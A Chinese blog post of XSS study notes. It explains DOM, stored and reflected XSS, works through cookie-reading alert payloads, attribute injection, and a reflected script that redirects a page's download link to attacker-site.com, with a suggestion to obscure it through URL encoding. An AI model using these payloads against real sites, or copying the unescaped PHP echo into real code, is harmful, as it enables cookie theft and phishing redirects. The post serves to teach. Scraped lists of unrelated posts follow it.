所谓XSS这个场景被触发XSS地方,在大多数情况下,攻击者被嵌入在网页中(问题)该恶意脚本(Cross site Scripting),这里的攻击始终触发浏览器端,攻击的者的目的。一般都是获取用户的Cookie(能够还原账户登录状态),导航到恶意网址,携带木马,作为肉鸡发起CC攻击。传播XSS蠕虫等。

整体分为三类:

Dom-Based(Dom式)

Stroed-Based(存储式)

Reflex-Based(反射式)

简单举一个场景:

在一个页面有一个textbox 代码就是<input type="text" name="address1" value="value1from"> 

这里的valuefrom 就是来自用户的输入。假设用户输入的不是valuefrom 的字符串,而是其它的代码就可能出现用户输入的数据被运行,如输入:"/><script>alert(document.cookie);</script><!--那样输入字符床被拼接的之后就是:

<input type="text" name="address1" value=""/><script>alert(document.cookie);</script><!--">

这样就是显示一个含实用户cookie的提示框,假设输入再改改:

" onfocus="alert(document.cookie); 那就变成了:

<input type="text" name="address1" value="" onfocus="alert(document.cookie); "> 

这样在onfocus事件触发后,js 代码就会被运行,当然攻击者肯定不会傻的把提示框弹出来。这里仅仅是证明能够获取到数据。hk的一般做法就是把想要的数据发到自己的另外一个站上他们的做法通常是:

在目标网页嵌入一段遮掩给的代码(一般都是在比較隐蔽的位置,或者直接就是在结尾):



1.点击劫持(hjick click)-一种非持久性攻击方法(反射型XSS):

原来server页面是

<?php
$name = $_GET['name']; /* 在GET 參数中获取username */
echo "Welcome $name <br>"; /* 这里网页中打印变量 */
echo "<a href="http://blog.csdn.net/l_f0rM4t3d"> Click to Download</a>"; /* 显示可重定向的链接 */
? >

假设用户在URL输入:

index.php?id=ByteWay<script>alert('attacked');</script>

这样在用户链接就会生成这样html代码:

Welcome ByteWay <script>alert('attacked');</script>
<br>
<a href='http://blog.csdn.net/l_f0rM4t3d'> Click to Download</a>

看到上面的代码大哥你就惊呆了吧: 这里会弹出 attacked 的提示框,可是你会发现这还不是点击劫持啊? 呵呵,不要着急,仅仅要你明确了这个道理,相信你就是猥琐的想到直接在那里加段js 直接改动掉那个超链接就Ok了,以下是详细的办法:

假设用户在URL输入:index.php?id=ByteWay<script>window.onload=function(){var link=document.getElementsByTagName('a');link[0].href='http://attacker-site.com';}</script>



返回到用户的界面就是这种:

Welcome ByteWay
<script>
window.onload=function(){var link=document.getElementsByTagName('a');
link[0].href='http://attacker-site.com';
}
</script>
<br>
<a href='http://blog.csdn.net/l_f0rM4t3d'> Click to Download</a>

可是由于非常快就会运行window.load的方法。这样后面的劫持的URL就发生了:

Welcome ByteWay
<script>
window.onload=function(){var link=document.getElementsByTagName('a');
link[0].href='http://attacker-site.com';
}
</script>
<br>
<a href='http://attacker-site.com'> Click to Download</a> <!-- 注意这是被劫持之后的URL -->

当然这里的看得URL太过明显了,咋办? 只要加上urlencode()之类的功能将起到模糊视听的作用。

版权声明:本文博客原创文章,博客,未经同意,不得转载。

XSS学习笔记(一个)-点击劫持的更多相关文章

  1. 点击劫持漏洞之理解 python打造一个挖掘点击劫持漏洞的脚本

    前言: 放假了,上个星期刚刚学习完点击劫持漏洞.没来的及写笔记,今天放学总结了一下 并写了一个检测点击劫持的脚本.点击劫持脚本说一下哈.= =原本是打算把网站源码 中的js也爬出来将一些防御的代码匹配 ...

  2. 安全测试4_客户端的安全漏洞(XSS、CSRF、点击劫持、URL跳转)

    那个fanh前面学习的都是基础,现在开始正式学习下安全的知识,这一章主要讲解客户端常见的安全漏洞. 看到这个不错,给大家记一下: 1.常见的安全事件: 2.XSS(跨站脚本),英文全称:Cross S ...

  3. XSS学习笔记(四)-漏洞利用全过程

    <script type="text/javascript" reload="1">setTimeout("window.location ...

  4. jQuery 学习笔记2 点击时弹出一个对话框

    上次学习的是页面加载完成后弹出一个警告框,这里我们改为当用户点击后弹出一个警告框. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Trans ...

  5. jQuery 学习笔记3 点击弹出一个div并允许拖拽移动

    这里我看了下http://qings.blog.51cto.com/4857138/998878/ 的文章,感谢他的分享. 首先我们有一个a标签和一个div,div默认是不显示的,当用户点击时改为显示 ...

  6. XSS学习笔记

    本片文章是读<<XSS跨站脚本gj剖析与防御>>一书的总结 常见的XSS攻击主要用于1.网络钓鱼,盗用用户账号2.窃取cookies 非httponly情况下,读取docume ...

  7. XSS学习笔记(五)-XSS防御

    如果只生产XSS的地方都与输入或输出相关联的.所以错过了主要矛盾.而且,我们将有一个解决问题的办法:您可以输入端砚格过滤,是可能的过滤输出时间,输出到用户的GET或POST中是否有敏感字符: 输入过滤 ...

  8. Git学习笔记——一个NB的分布式版本控制系统

    1. 命令: git init           创建新仓库 (在一个空文件下然后执行命令) git clone  + 路径      检出仓库,从本地或从服务器上 git status     查 ...

  9. 【转载】XSS学习笔记

    XSS的分类 非持久型 非持久型XSS也称反射型XSS.具体原理就是当用户提交一段代码的时候,服务端会马上返回页面的执行结果.那么当攻击者让被攻击者提交一个伪装好的带有恶意代码的链接时,服务端也会立刻 ...

随机推荐

  1. 自绘XP风格菜单

    这是以前写的代码,自绘XP风格的菜单,硬盘坏了后以为没了,最后写的一个软件要自定义风格,“翻箱倒柜”的终于在我可爱的古董机^_^上找到了一个应用的例子.还是把它放到Blog上来,即可共享又可作为备用 ...

  2. 循环json数据的列

    var len = json.length;  for (var i = 0; i < len; i++)  {   for (obj in json[i])   {    var obj2 = ...

  3. 从response.header中提取cookie,在request里添加cookie

    //        List<String> resp = new ArrayList<String>();  //        HeaderIterator headers ...

  4. Swift - whose view is not in the window hierarchy 问题解决方法

    问题现象:想在页面初始化的时候,使用self.presentViewController方法弹出个告警提示框UIAlertController.但行后报了个如下告警,同时告警框也出不来. 1 2015 ...

  5. VC图形绘制双缓存的代码复用性讨论

    在前文中已经讨论了如何实现界面绘制双缓存的问题,前文网址如下: http://www.2cto.com/kf/201111/112429.html 双缓存的主要思路是:先把图形绘制到内存DC中,然后再 ...

  6. JSTL解析——002——core标签库01

    javaEE5之前的版本需要引用JSTL相关的jar包.tld文件等,JAEE5之后就不用这么麻烦了, 如果你的还是不能使用就去官网下载(jstl.jar和standard.jar)这两个jar包,将 ...

  7. 【android】下载文件至本应用程序的file文件夹或者sdcard

     一.推断是否有sdcard卡 //推断是否有SD卡 //ture:有SD卡 //false:没有SD卡 public boolean avaiableMedia(){ String status ...

  8. Swift - 文本标签(UILabel)的用法

    1,标签的创建 1 2 3 4 5 6 7 8 9 10 import UIKit class ViewController: UIViewController {     override func ...

  9. Apache commons-net用法的一个示例

    jar: commons-io-2.4.jarcommons-net-3.3.jar Code: import java.io.File; import java.io.FileInputStream ...

  10. ThinkPHP 的模型使用对数据库增删改查(五)

    原文:ThinkPHP 的模型使用对数据库增删改查(五) ThinkPHP 的模型使用 // 直接连接数据库,但是得先去配置文件中配置下才行 class IndexAction extends Act ...